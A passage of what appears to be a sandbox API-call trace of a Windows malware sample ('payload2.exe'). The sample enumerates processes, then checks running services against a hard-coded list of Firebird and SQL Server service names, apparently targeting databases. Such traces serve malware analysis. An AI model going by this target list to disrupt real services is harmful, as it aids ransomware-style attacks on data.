	[0079.086] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0079.086] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0079.086] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0079.087] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0079.087] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0079.087] lstrlenW (lpString="eastexamined.exe") returned 16
	[0079.087] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0079.088] lstrlenW (lpString="attacks-according.exe") returned 21
	[0079.088] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0079.089] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0079.089] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0079.090] lstrlenW (lpString="values latin.exe") returned 16
	[0079.090] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0079.090] lstrlenW (lpString="eaufeed.exe") returned 11
	[0079.090] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0079.091] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0079.091] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0079.092] lstrlenW (lpString="burning.exe") returned 11
	[0079.092] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0079.092] lstrlenW (lpString="warned-garage.exe") returned 17
	[0079.092] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0079.093] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0079.093] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0079.094] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0079.094] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0079.094] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0079.094] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0079.095] lstrlenW (lpString="proprietary.exe") returned 15
	[0079.095] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0079.096] lstrlenW (lpString="conhost.exe") returned 11
	[0079.096] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0079.096] lstrlenW (lpString="conhost.exe") returned 11
	[0079.096] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0079.097] lstrlenW (lpString="payload2.exe") returned 12
	[0079.097] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0079.098] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0079.098] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0079.098] lstrlenW (lpString="conhost.exe") returned 11
	[0079.098] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.099] lstrlenW (lpString="svchost.exe") returned 11
	[0079.099] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0079.099] lstrlenW (lpString="cmd.exe") returned 7
	[0079.100] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0079.100] lstrlenW (lpString="conhost.exe") returned 11
	[0079.100] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0079.101] lstrlenW (lpString="mode.com") returned 8
	[0079.101] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0079.101] CloseHandle (hObject=0x328) returned 1
	[0079.101] Sleep (dwMilliseconds=0x1f4) 
	[0080.351] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d7c8
	[0080.352] EnumServicesStatusExW (in: hSCManager=0x52d7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0080.352] GetLastError () returned 0xea
	[0080.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d00) returned 0x43587b0
	[0080.352] EnumServicesStatusExW (in: hSCManager=0x52d7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43587b0, cbBufSize=0x1d00, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43587b0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0080.353] CloseServiceHandle (hSCObject=0x52d7c8) returned 1
	[0080.353] lstrlenW (lpString="Appinfo") returned 7
	[0080.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0080.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0080.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0080.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0080.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0080.353] lstrlenW (lpString="AppXSvc") returned 7
	[0080.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0080.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0080.353] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0080.353] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0080.354] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0080.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0080.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0080.354] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0080.354] lstrlenW (lpString="Audiosrv") returned 8
	[0080.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0080.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0080.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0080.354] lstrlenW (lpString="BFE") returned 3
	[0080.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0080.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0080.354] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0080.354] lstrlenW (lpString="BITS") returned 4
	[0080.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0080.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0080.354] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0080.354] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0080.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0080.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0080.354] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0080.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0080.354] lstrlenW (lpString="CDPSvc") returned 6
	[0080.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0080.355] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0080.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0080.355] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0080.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0080.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0080.355] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0080.355] lstrlenW (lpString="CryptSvc") returned 8
	[0080.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0080.355] lstrlenW (lpString="DcomLaunch") returned 10
	[0080.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0080.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0080.355] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0080.355] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0080.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0080.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0080.355] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0080.355] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0080.356] lstrlenW (lpString="Dhcp") returned 4
	[0080.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0080.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0080.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0080.356] lstrlenW (lpString="Dnscache") returned 8
	[0080.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0080.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0080.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0080.356] lstrlenW (lpString="DoSvc") returned 5
	[0080.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0080.356] lstrlenW (lpString="DPS") returned 3
	[0080.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0080.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0080.356] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0080.356] lstrlenW (lpString="DusmSvc") returned 7
	[0080.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0080.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0080.356] lstrlenW (lpString="EventLog") returned 8
	[0080.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0080.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0080.357] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0080.357] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0080.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0080.357] lstrlenW (lpString="EventSystem") returned 11
	[0080.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0080.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0080.357] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0080.357] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0080.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0080.357] lstrlenW (lpString="FontCache") returned 9
	[0080.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0080.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0080.357] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0080.357] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0080.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0080.357] lstrlenW (lpString="gpsvc") returned 5
	[0080.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0080.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0080.357] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0080.357] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0080.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0080.357] lstrlenW (lpString="iphlpsvc") returned 8
	[0080.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0080.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0080.357] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0080.357] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0080.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0080.357] lstrlenW (lpString="KeyIso") returned 6
	[0080.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0080.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0080.357] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0080.358] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0080.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0080.358] lstrlenW (lpString="LanmanServer") returned 12
	[0080.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0080.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0080.358] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0080.358] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0080.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0080.358] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0080.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0080.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0080.358] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0080.358] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0080.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0080.358] lstrlenW (lpString="lfsvc") returned 5
	[0080.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0080.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0080.358] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0080.358] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0080.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0080.358] lstrlenW (lpString="lmhosts") returned 7
	[0080.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0080.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0080.358] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0080.358] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0080.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0080.358] lstrlenW (lpString="LSM") returned 3
	[0080.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0080.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0080.358] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0080.358] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0080.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0080.358] lstrlenW (lpString="MapsBroker") returned 10
	[0080.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0080.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0080.359] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0080.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0080.359] lstrlenW (lpString="MpsSvc") returned 6
	[0080.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0080.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0080.359] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0080.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0080.359] lstrlenW (lpString="NcbService") returned 10
	[0080.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0080.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0080.359] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0080.359] lstrlenW (lpString="netprofm") returned 8
	[0080.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0080.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0080.359] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0080.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0080.359] lstrlenW (lpString="NlaSvc") returned 6
	[0080.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0080.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
